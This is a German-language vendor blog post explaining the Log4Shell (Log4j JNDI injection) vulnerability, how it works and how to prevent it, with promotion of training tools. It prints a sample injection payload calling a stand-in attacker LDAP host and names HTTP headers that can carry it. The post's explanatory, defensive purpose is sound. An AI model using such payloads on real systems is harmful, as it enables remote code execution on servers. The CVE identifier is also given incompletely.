Die Log4j-Schwachstelle erklärt – Angriffsvektor und Präventionsmaßnahmen

Am 9. Dezember wurde ein 0-Day-Exploit in der Java-Bibliothek Log4j bekannt. CVE-44228, auch bekannt als Log4Shell, wurde als „hochkritisch“ eingestuft, da der Exploit zu einer Remote Code Execution (RCE) führen kann. Da log4j-core zudem eine der am häufigsten verwendeten Java-Logging-Bibliotheken ist, sind Millionen von Anwendungen gefährdet.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell erweitern?

Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zum praktischen Ausprobieren der Exploits in einem Simulator, der sogenannten „Mission“, führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt zum Showcase zu gelangen, oder lesen Sie weiter, um mehr über die Details der Schwachstelle zu erfahren.

Alter Hut?

Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag von 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass „Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten“, und veranschaulichten, wie eine gezielte JNDI/LDAP-Injection zu einer Remote Code Execution führen kann. Genau das ist der Kern von Log4Shell.

Angriffsvektor

Das Injection-Payload von Log4Shell sieht wie folgt aus:

${jndi:ldap://attacker.host/xyz}

Um dies zu verstehen, müssen wir die Expression Language (EL) von Java kennen. Ausdrücke in der Syntax ${expr} werden zur Laufzeit ausgewertet. Zum Beispiel gibt ${java:version} die verwendete Java-Version zurück.

Dann gibt es noch JNDI, das Java Naming and Directory Interface, eine API, die Verbindungen zu Diensten über Protokolle wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für ein schädliches Payload führt JNDI eine Abfrage an den vom Angreifer kontrollierten LDAP-Server durch. Dessen Antwort könnte beispielsweise auf eine Java-Klassendatei mit Schadcode verweisen, die dann auf dem anfälligen Server ausgeführt wird.

Das Problem bei dieser Schwachstelle ist, dass Log4j alle Log-Einträge auswertet und Lookups für alle protokollierten Benutzereingaben durchführt, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Das Payload kann überall dort injiziert werden, wo Benutzer Daten eingeben können, etwa in Formularfeldern. Auch HTTP-Header wie User-Agent, X-Forwarded-For und andere können angepasst werden, um das Payload zu transportieren.

Um den Exploit selbst zu erleben, besuchen Sie unser Showcase und springen Sie zu Schritt 2 – „Auswirkungen erleben“.

Prävention: Bewusstsein

Ein Upgrade ist für alle Anwendungen die empfohlene Maßnahme, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, weshalb seit Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler müssen wir Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken Dritter Risiken birgt. Wir müssen uns bewusst sein, dass die Sicherheit unserer Anwendung durch externe Quellen gefährdet werden kann, die wir naiv als sicher voraussetzen.

Hätte diese Schwachstelle verhindert werden können? Ja und nein. Einerseits können Entwickler nur begrenzt eingreifen, da anfällige Komponenten über Software von Drittanbietern eingeschleust werden. Andererseits ist die Lektion daraus eine, die immer wieder wiederholt wurde: Vertraue niemals Benutzereingaben.

Secure Code Warrior ist davon überzeugt, dass sicherheitsbewusste Entwickler der beste Weg sind, um Schwachstellen im Code von vornherein zu vermeiden. Da SCW frameworkspezifische Schulungen in großem Maßstab anbietet, konnten Unternehmenskunden mithilfe der Berichtsdaten schnell ermitteln, welche Java-Entwickler betroffen waren. Zudem konnten sie sich auf ihre von SCW geschulten Security Champions verlassen, um das Upgrade auf Log4j zu beschleunigen.

Speziell für Java-Entwickler bietet Secure Code Warrior Sensei an, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analysetool hilft dabei, Coding-Richtlinien durchzusetzen sowie Schwachstellen zu verhindern und zu beheben. Sie können eigene Regeln erstellen oder unsere vorgefertigten Cookbooks nutzen. Stöbern Sie durch unsere Rezepte und vergessen Sie nicht, unser Log4j-Cookbook herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.

Verbessern Sie Ihre Fähigkeiten bei der Abwehr von Log4Shell

Möchten Sie das in diesem Blogbeitrag Gelernte in die Praxis umsetzen? Unser Showcase hilft Ihnen dabei. Zu Beginn erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit anhand einer geführten Anleitung selbst ausprobieren können.

‍